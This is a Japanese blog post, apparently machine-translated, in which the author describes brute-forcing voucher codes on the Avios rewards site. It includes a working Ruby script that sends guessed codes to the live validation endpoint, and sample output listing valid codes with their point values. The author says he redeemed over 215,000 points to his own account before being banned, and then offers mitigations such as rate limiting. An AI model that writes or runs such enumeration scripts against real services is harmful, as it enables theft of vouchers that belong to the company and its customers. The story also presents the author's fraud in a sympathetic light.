あなたが私のような人であれば、おそらく無料で初めて世界中を旅行することを考え、 YouTubeを見て 、そのような人々について知っているでしょう。
これは、Avios Travelの報酬プログラムでこの夢を実現するためのミスを見つけた方法に関するストーリーです* 。
数週間前、私はニューヨークに飛びました。 今回が初めての米国訪問であり、大西洋横断飛行が初めてだったので、私は熱心でした。 同じ質問を自問することもできます。
一年生に行くことはできますか? どうやってやるの? 何て言うの? 私がそのような要求をするとき、フリークのように見えませんか?
残念ながら、空港に着いたときだけ、登録プロセスがほとんど自動化されていることがわかります。 フロントデスクで美しい少女に無料アップグレードを依頼する可能性は、ごくわずかです。 しかし、それは人々がそれをどのように行うのかと思いました。
エアリンガスエアクラブ
ブリティッシュエアウェイズエグゼクティブクラブ
航空会社のロイヤルティプログラムへようこそ。
特別なものはありません。 人々はロイヤルティプログラムについて長い間知っています。 しかし、Aviosにはユニークなものがあります。 それは何ですか?
Aviosポイントは、Aer Lingus、British Airways、Flybe、Iberia、kulula.com、およびMeridianaで受け入れられる一般的な報酬ポイントです。 飛行機、ホテル、レンタカーでAviosポイントを収集すると、世界中の何百もの目的地へのボーナスフライトを選択できます。
Aer LingusとBritish Airwaysのロイヤルティプログラムに登録した後、 このサイトに出会いました。 これは、クライアントがメンバーシップ、個人データ、および彼に送信された報酬コードに関する情報を入力できるフォームです。 ここが面白いところです。
実装
既に使用されているコード例
2つのことがすぐに注目されました。 まず、フォームから、フロントエンドで単純な正規表現チェックが実行され、形式の一致をチェックすることが明らかになりました。 次に、コードの入力中に、有効かどうかがすぐに表示されます。 これは、AJAXリクエストを介して行われます。
Chrome開発者ツールは、コード検証のネットワーク要求がこのURLに送信されることを示しています 。 それから私に考えが起こった。 コード形式を知っていて、コードをチェックするためのエンドポイントを知っている場合、この形式で1000個のランダムなコードを作成し、それを繰り返してチェックするスクリプトを作成できますか?
回答:はい、できます。
#!/usr/bin/ruby require 'httparty' require 'byebug' url = “https://www.aviosvouchers.com/en/Collect/ValidateCode" # [a-zA-Z]{3}[0–9]{3}[a-zA-Z]{1} puts “Running Script…” File.open('codes.txt', 'r').each_line do |line| data = line.split(/\t/) code = data.first.delete!(“\n”) request = HTTParty.post(url, body: {code: code.to_s}) json = JSON.parse(request.body) puts “#{json} — #{code.to_s}” if json['value'] > 0 sleep(0.5) end puts “Finished Running Script.”
このスクリプトは、生成されたコードのリストをテキストファイルで読み取ります(独自の正規表現に基づいてコードを生成するか、 regex-from-regexツールのようなものを使用できます)。 次に、指定されたURLにPOST要求を送信します。 有効な応答を取得した場合(通常、値の属性がゼロより大きい場合)、応答をCLIに送信し、少し待ってから次の要求を行います。
結果は何ですか? 正しいコードのリスト! (明らかな理由により、以下の正しい値を変更しました)。
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5007652532665", “value”=>10000.0, “itemId”=>nil} — JCX328W
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7186731101111", “value”=>10000.0, “itemId”=>nil} — MYS272Y
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”7409825562501", “value”=>1500.0, “itemId”=>nil} — XSL523V
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”2504822562501", “value”=>1500.0, “itemId”=>nil} — SYZ436G
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”8476533219878", “value”=>20000.0, “itemId”=>nil} — PEG924R
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”4318675747654", “value”=>500.0, “itemId”=>nil} — AHC939A
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”6509522562501", “value”=>1500.0, “itemId”=>nil} — JGZ792E
{“status”=>”ok”, “message”=>”Valid”, “genericVoucherCode”=>”5904736483764", “value”=>500.0, “itemId”=>nil} — DMB882D
スクリプトを数日間実行した後、多くの有効なコードを受け取り、これらのコードを追加した後、私のアカウントは次のようになりました。
BAアカウントのスクリーンショット
215 010 Aviosポイント。 はい、それはたくさんあります。 ロンドンからインドネシアまでファーストクラスでわずか500ポンドで飛べるようになりました。 私の夢がついに実現するという希望に目覚めました。
しかし、夢は叶わなかった
しばらくして、私はそのような行動の合法性を疑い始めました。 フライトを予約してこれらのポイントを使用すると、結果はどうなりますか? 最終的には常識が勝ったので、この情報を投稿する前に問題をAviosに通知することにしました。 しかし、私が報告する前に彼らはバグを修正したようです。
コード検証のエンドポイントは利用できなくなりました
このサイトでは、すぐにコードを検証する必要はありません。 確認のために、ページからフォーム全体を送信する必要があります。 さらに、彼らは私に気づき、私のアカウントを禁止したようです...
(Aer Lingusアカウントも禁止されたため、スクリーンショットを撮る時間がありませんでした)。
禁止されたBAアカウント
結論として
これからどのような技術的結論を引き出すことができますか? 問題を回避するために、最初からシステムをどのように展開できますか? 実際、これは難しくありません。エンドポイントへのリクエストの数や頻度を制限し、コードを非決定的にするだけで、推測がより難しくなります。
- リクエストの制限。
- 可変および非決定的コード。
最後に、Avios、British Airways、またはAer Lingusの誰かがこれを読んだ場合、彼らが私のアカウントのロックを解除してくれたらとても感謝しています。 普通の人と同じように、本当のボーナスポイントを蓄積し続けたいです。
*追加
この件に関する大量の投稿を受けたので、はっきりさせてください。 私が最初から悪意を持って行動したと人々が考える理由を理解しています。 多くの人が私を信じる可能性は低いですが、私はこれがそうではないことを誠実に保証します。 見つけたコードを使用したという事実は、興奮と興奮に関連しています。